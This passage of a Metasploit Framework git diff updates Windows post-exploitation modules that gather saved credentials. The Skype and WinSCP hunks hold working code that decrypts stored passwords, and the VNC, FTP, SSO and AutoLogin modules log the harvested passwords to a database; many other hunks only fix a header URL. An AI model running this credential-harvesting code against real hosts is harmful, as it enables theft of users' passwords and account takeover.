Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) + end + + return "" if len == 0 + return process.memory.read(addr, len) + end + + # Get the "Salt" unencrypted from the registry + def get_salt + print_status "Checking for encrypted salt in the registry" + vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0" + rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0') + print_good("Salt found and decrypted") + return decrypt_reg(rdata) + end + + # Pull out all the users in the AppData directory that have config files + def get_config_users(appdatapath) + users = [] + dirlist = session.fs.dir.entries(appdatapath) + dirlist.shift(2) + dirlist.each do |dir| + if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false + vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\" + next + end + print_good "Found Config.xml in #{appdatapath}\\#{dir}\\" + users << dir + end + return users + end + + def parse_config_file(config_path) + hex = "" + configfile = read_file(config_path) + configfile.each_line do |line| + if line =~ /Credentials/i + hex = line.split('>')[1].split('<')[0] + end + end + return hex + end + + + + def decrypt_blob(credhex, salt) + + # Convert Config.xml hex to binary format + blob = [credhex].pack("H*") + + # Concatinate SHA digests for AES key + sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt) + + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.encrypt + aes.key = sha[0,32] # Use only 32 bytes of key + final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes + final << aes.final + xor_key = final[0,16] # Get only the first 16 bytes of result + + vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}") + + decrypted = [] + + # Use AES/SHA crypto for XOR decoding + (0...16).each do |i| + decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0]) + end + + return decrypted.pack("C*").unpack("H*")[0] + end + + + def get_config_creds(salt) + users = [] + appdatapath = expand_path("%AppData%") + "\\Skype" + print_status ("Checking for config files in %APPDATA%") + users = get_config_users(appdatapath) + if users.any? + users.each do |user| + print_status("Parsing #{appdatapath}\\#{user}\\Config.xml") + credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml") + if credhex == "" + print_error("No Credentials3 blob found for #{user} in Config.xml skipping") + next + else + hash = decrypt_blob(credhex, salt) + print_good "Skype MD5 found: #{user}:#{hash}" + end + end + else + print_error "No users with configs found. Exiting" + end + end + + def run + salt = get_salt + if salt != nil + creds = get_config_creds(salt) + else + print_error "No salt found. Cannot continue without salt, exiting" + end + end + +end + diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 1a9e2530d3..70f8451364 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index d536fd0cc0..1fa9bba41f 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -109,14 +109,34 @@ class Metasploit3 < Msf::Post else source_id = nil end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index 4fee0faf11..7a8ee120c0 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index ca44143494..4b2b7514e5 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -101,24 +101,39 @@ class Metasploit3 < Msf::Post return if (user.empty? or pass.empty?) return if pass.include?("n.a.") - if session.db_record - source_id = session.db_record.id - else - source_id = nil + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + session_id: session_db_id, + username: user, + workspace_id: myworkspace_id + } + + unless domain.blank? + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = domain end - report_auth_info( - :host => session.session_host, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => "#{domain}\\#{user}", - :pass => pass - ) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + create_credential_login(login_data) end + def is_system_user?(user) system_users = [ /^$/, diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index 9a0fafa782..b330663fd4 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index 3a30aae1d3..b773a3c662 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 3b91655a30..dbf7607210 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb index 2d85d43034..b2e24dc817 100644 --- a/modules/post/windows/gather/credentials/trillian.rb +++ b/modules/post/windows/gather/credentials/trillian.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index c728cc4e0d..e3fb9f9057 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -1,14 +1,14 @@ # post/windows/gather/enum_vnc_pw.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' - +require 'rex/proto/rfb' class Metasploit3 < Msf::Post @@ -224,37 +224,79 @@ class Metasploit3 < Msf::Post e[:port] = 5900 end print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :pass => "#{e[:pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'interactive', + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end if e[:viewonly_pass] != nil print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :viewonly_pass => "#{e[:viewonly_pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password_ro' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:viewonly_pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'view_only', + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end } unload_our_hives(userhives) diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index eb76d98a34..5af3bdb12d 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,15 +42,7 @@ class Metasploit3 < Msf::Post host_name = sysinfo['Computer'] print_status("Running against #{host_name} on session #{datastore['SESSION']}") - creds = Rex::Ui::Text::Table.new( - 'Header' => 'Windows AutoLogin Password', - 'Indent' => 1, - 'Columns' => [ - 'UserName', - 'Password', - 'Domain' - ] - ) + creds = [] has_al = 0 @@ -69,7 +61,6 @@ class Metasploit3 < Msf::Post if do1 != '' and du1 != '' and dp1 == '' and al == '1' has_al = 1 - dp1 = '[No Password!]' creds << [du1,dp1, do1] print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}") elsif do1 != '' and du1 != '' and dp1 != '' @@ -80,8 +71,7 @@ class Metasploit3 < Msf::Post if do2 != '' and du2 != '' and dp2 == '' and al == '1' has_al = 1 - dp2 = '[No Password!]' - creds << [du2,dp2,d02] + creds << [du2,dp2,do2] print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}") elsif do2 != '' and du2 != '' and dp2 != '' has_al = 1 @@ -94,16 +84,18 @@ class Metasploit3 < Msf::Post return end - print_status("Storing data...") - path = store_loot( - 'windows.autologin.user.creds', - 'text/csv', - session, - creds.to_csv, - 'windows-autologin-user-creds.csv', - 'Windows AutoLogin User Credentials' - ) - - print_status("Windows AutoLogin User Credentials saved in: #{path}") + creds.each do |cred| + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: cred[0], + private_data: cred[1], + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: cred[2] + ) + end end end diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index fc8d61fb18..c2b47187a7 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -1,7 +1,7 @@ # post/windows/gather/enum_vnc_pw.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,6 +14,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles + include Msf::Post::File def initialize(info={}) super(update_info(info, @@ -72,34 +73,12 @@ class Metasploit3 < Msf::Post portnum = 22 end - user = registry_getvaldata(active_session, 'UserName') || "" - host = registry_getvaldata(active_session, 'HostName') || "" - proto = registry_getvaldata(active_session, 'FSProtocol') || "" - - # If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 - # it is set to SCP. - if proto == nil or proto == 0 - proto = "SSH" - else - proto = "FTP" - end - - #Decrypt our password, and report on results - pass= decrypt_password(password, user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass + winscp_store_config( + 'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "", + 'HostName' => registry_getvaldata(active_session, 'HostName') || "", + 'Password' => password, + 'PortNumber' => portnum, + 'UserName' => registry_getvaldata(active_session, 'UserName') || "", ) end @@ -119,65 +98,35 @@ class Metasploit3 < Msf::Post def get_ini(filename) - begin - #opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser - client.fs.file.stat(filename) - config = client.fs.file.new(filename,'r') - parse = config.read - print_status("Found WinSCP.ini file...") - ini=Rex::Parser::Ini.from_s(parse) + print_error("Looking for #{filename}.") + # opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser + parse = read_file(filename) + if parse.nil? + print_error("WinSCP.ini file NOT found...") + return + end + + print_status("Found WinSCP.ini file...") + ini = Rex::Parser::Ini.from_s(parse) + + # if a Master Password is in use we give up + if ini['Configuration\\Security']['MasterPassword'] == '1' + print_status("Master Password Set, unable to recover saved passwords!") + return nil + end + + # Runs through each group in the ini file looking for all of the Sessions + ini.each_key do |group| + if group.include?('Sessions') && ini[group].has_key?('Password') + winscp_store_config( + 'FSProtocol' => ini[group]['FSProtocol'], + 'HostName' => ini[group]['HostName'], + 'Password' => ini[group]['Password'], + 'PortNumber' => ini[group]['PortNumber'] || 22, + 'UserName' => ini[group]['UserName'], + ) - #if a Master Password is in use we give up - if ini['Configuration\\Security']['MasterPassword'] == '1' - print_status("Master Password Set, unable to recover saved passwords!") - return nil end - - #Runs through each group in the ini file looking for all of the Sessions - ini.each_key do |group| - groupkey='Sessions' - if group=~/#{groupkey}/ - #See if we have a password saved in this sessions - if ini[group].has_key?('Password') - # If no explicit port number is defined, then it is the default tcp 22 - if ini[group].has_key?('PortNumber') - portnum = ini[group]['PortNumber'] - else - portnum = 22 - end - host= ini[group]['HostName'] - user= ini[group]['UserName'] - proto = ini[group]['FSProtocol'] - - # If no explicit protocol entry exists it is on sFTP with SCP backup. If it - # is 0 it is set to SCP. - if proto == nil or proto == 0 - proto = "SSH" - else - proto = "FTP" - end - # Decrypt the password and report on all of the results - pass= decrypt_password(ini[group]['Password'], user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) - end - end - end - rescue - print_status("WinSCP.ini file NOT found...") end end @@ -186,12 +135,12 @@ class Metasploit3 < Msf::Post pwalg_simple_magic = 0xA3 pwalg_simple_string = "0123456789ABCDEF" - # Decrypts the next charachter in the password sequence + # Decrypts the next character in the password sequence if @password.length > 0 # Takes the first char from the encrypted password and finds its position in the # pre-defined string, then left shifts the returned index by 4 bits unpack1 = pwalg_simple_string.index(@password[0,1]) - unpack1= unpack1 << 4 + unpack1 = unpack1 << 4 # Takes the second char from the encrypted password and finds its position in the # pre-defined string @@ -213,37 +162,76 @@ class Metasploit3 < Msf::Post flag = decrypt_next_char() if flag == pwalg_simple_flag - decrypt_next_char(); - length = decrypt_next_char(); + decrypt_next_char() + length = decrypt_next_char() else - length = flag; + length = flag end - ldel = (decrypt_next_char())*2 ; - @password = @password[ldel,@password.length]; - result=""; - for ss in 0...length - result+=decrypt_next_char().chr + ldel = (decrypt_next_char())*2 + @password = @password[ldel,@password.length] + + result = "" + length.times do + result << decrypt_next_char().chr end if flag == pwalg_simple_flag - result= result[key.length,result.length]; - + result = result[key.length, result.length] end - return result - - + result end def run print_status("Looking for WinSCP.ini file storage...") - get_ini(client.fs.file.expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini")) + get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini")) print_status("Looking for Registry Storage...") get_reg() print_status("Done!") - end + def winscp_store_config(config) + host = config['HostName'] + pass = config['Password'] + portnum = config['PortNumber'] + proto = config['FSProtocol'] + user = config['UserName'] + sname = case proto.to_i + when 5 then "FTP" + when 0 then "SSH" + end + + # Decrypt our password, and report on results + plaintext = decrypt_password(pass, user+host) + print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}") + + service_data = { + # XXX This resolution should happen on the victim side instead + address: ::Rex::Socket.getaddress(host), + port: portnum, + service_name: sname, + protocol: 'tcp', + workspace_id: myworkspace_id, + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: plaintext, + username: user + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index ae8cbef726..1227e572e2 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,19 +66,32 @@ class Metasploit3 < Msf::Post next if passwd == nil or passwd == "" port = 21 if port == nil print_good("Host: #{host} Port: #{port} User: #{username} Password: #{passwd}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => passwd) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index 8429e4a452..de4bf2fefb 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 547614c390..fc4492674f 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 490aa9407d..5a25ee6d33 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,11 +66,11 @@ class Metasploit3 < Msf::Post # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( - 'Header' => "Domain Computers", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => fields - ) + 'Header' => "Domain Computers", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => fields + ) # Hostnames holds DNS Names to Resolve hostnames = [] @@ -81,40 +81,37 @@ class Metasploit3 < Msf::Post report = {} 0.upto(fields.length-1) do |i| - if result[i].nil? - field = "" - else - field = result[i] + field = result[i] || "" - # Only perform these actions if the database is connected and we want - # to store in the DB. - if db and datastore['STORE_DB'] - case fields[i] - when 'dNSHostName' - dns = field - report[:name] = dns - hostnames << dns - when 'operatingSystem' - os = field - index = os.index(/windows/i) - if index - name = 'Microsoft Windows' - flavour = os[index..-1] - report[:os_name] = name - report[:os_flavor] = flavour - else - # Incase there are non-windows domain computers?! - report[:os_name] = os - end - when 'distinguishedName' - if field =~ /Domain Controllers/i - report[:purpose] = "DC" - end - when 'operatingSystemServicePack' - report[:os_sp] = field - when 'description' - report[:info] = field + # Only perform these actions if the database is connected and we want + # to store in the DB. + if db && datastore['STORE_DB'] + case fields[i] + when 'dNSHostName' + dns = field + report[:name] = dns + hostnames << dns + when 'operatingSystem' + report[:os_name] = field + when 'distinguishedName' + if field =~ /Domain Controllers/i + # TODO: Find another way to mark a host as being a domain controller + # The 'purpose' field should be server, client, device, printer, etc + #report[:purpose] = "DC" + report[:purpose] = "server" end + when 'operatingSystemServicePack' + # XXX: Does this take into account the leading 'SP' string? + + if field.to_i > 0 + report[:os_sp] = 'SP' + field + end + if field =~ /(Service Pack|SP)\s?(\d+)/ + report[:os_sp] = 'SP' + $2 + end + + when 'description' + report[:info] = field end end @@ -125,7 +122,7 @@ class Metasploit3 < Msf::Post results_table << row end - if db and datastore['STORE_DB'] + if db && datastore['STORE_DB'] print_status("Resolving IP addresses...") ip_results = client.net.resolve.resolve_hosts(hostnames, AF_INET) diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb index f49bbde8f2..0277b9386d 100644 --- a/modules/post/windows/gather/enum_ad_service_principal_names.rb +++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 51010c7370..75d80ab627 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb index a86c45e233..b3b2a25bab 100644 --- a/modules/post/windows/gather/enum_applications.rb +++ b/modules/post/windows/gather/enum_applications.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb index 31abead638..2247ea9dc1 100644 --- a/modules/post/windows/gather/enum_artifacts.rb +++ b/modules/post/windows/gather/enum_artifacts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index ef990c7abc..f1af882553 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 47c5fbd14f..b7a921fd93 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index ae291ca0e8..27ff05d2ed 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb index 107ff15bba..9829aa63e8 100644 --- a/modules/post/windows/gather/enum_devices.rb +++ b/modules/post/windows/gather/enum_devices.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index 37e00c8e31..c772da1822 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb index eb253e26cf..6d1c252834 100644 --- a/modules/post/windows/gather/enum_domain.rb +++ b/modules/post/windows/gather/enum_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index 0f476149d8..4e50ee1a7e 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index 03328b2f98..9480d1fb3d 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb index 7d7910cd55..28dc44c576 100644 --- a/modules/post/windows/gather/enum_domains.rb +++ b/modules/post/windows/gather/enum_domains.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index 3079bc053a..3b28a296ed 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_hostfile.rb b/modules/post/windows/gather/enum_hostfile.rb index 6066fe1595..9f2d188091 100644 --- a/modules/post/windows/gather/enum_hostfile.rb +++ b/modules/post/windows/gather/enum_hostfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 5711bcc5fd..846df38f16 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: 